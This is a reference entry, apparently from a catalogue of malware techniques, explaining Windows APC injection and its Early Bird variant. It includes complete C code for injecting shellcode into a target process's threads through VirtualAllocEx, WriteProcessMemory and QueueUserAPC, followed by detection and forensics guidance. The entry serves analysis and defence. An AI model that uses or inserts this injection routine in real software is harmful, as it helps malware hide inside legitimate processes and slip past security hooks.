APC Injection
Malware queues a shellcode pointer to a target thread's APC queue via QueueUserAPC, executing it when the thread enters an alertable wait state.
Every Windows thread has a per-thread APC queue. When a thread calls an alertable wait function (SleepEx, WaitForSingleObjectEx, MsgWaitForMultipleObjectsEx, etc.), the kernel drains the queue and executes each APC callback in the context of that thread. Malware abuses this mechanism to run shellcode inside a legitimate process without spawning new threads.
Attack flow
- Open a target process handle with
PROCESS_VM_OPERATION | PROCESS_VM_WRITE. - Allocate RWX memory in the target with
VirtualAllocExand write shellcode withWriteProcessMemory. - Enumerate threads in the target with
CreateToolhelp32Snapshot/Thread32First/Thread32Next. - Open each thread and call
QueueUserAPC(shellcode_ptr, hThread, 0). - The shellcode fires next time any of those threads enters an alertable wait.
How it works
#include <windows.h>
#include <tlhelp32.h>
BOOL ApcInject(DWORD dwTargetPid, BYTE *pShellcode, SIZE_T cbShellcode)
{
HANDLE hProc = OpenProcess(
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwTargetPid);
if (!hProc) return FALSE;
// Allocate RWX memory and write shellcode
LPVOID pRemote = VirtualAllocEx(hProc, NULL, cbShellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProc, pRemote, pShellcode, cbShellcode, NULL);
// Queue the APC to every thread in the target
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te = { .dwSize = sizeof(te) };
if (Thread32First(hSnap, &te)) {
do {
if (te.th32OwnerProcessID == dwTargetPid) {
HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, te.th32ThreadID);
if (hThread) {
QueueUserAPC((PAPCFUNC)pRemote, hThread, 0);
CloseHandle(hThread);
}
}
} while (Thread32Next(hSnap, &te));
}
CloseHandle(hSnap);
CloseHandle(hProc);
return TRUE;
}The "Early Bird" variant creates the target process in a suspended state (CREATE_SUSPENDED), writes shellcode, queues the APC, then calls ResumeThread — guaranteeing execution before any security hooks are applied.
Detection & analysis
During analysis:
- Process Monitor / API Monitor: watch for
QueueUserAPCcalls where the APC routine address falls in a recently allocated, executable region of a foreign process. - Memory forensics: scan for RWX regions in browser and office processes that are not backed by any file on disk.
Static / automated detection:
- CAPA / YARA: co-occurrence of
VirtualAllocEx,WriteProcessMemory, andQueueUserAPCin the same binary is a strong indicator. - MITRE ATT&CK T1055.004; Unprotect ID U1221.
- ETW (Event Tracing for Windows): Microsoft-Windows-Threat-Intelligence provider logs cross-process memory writes and APC queuing.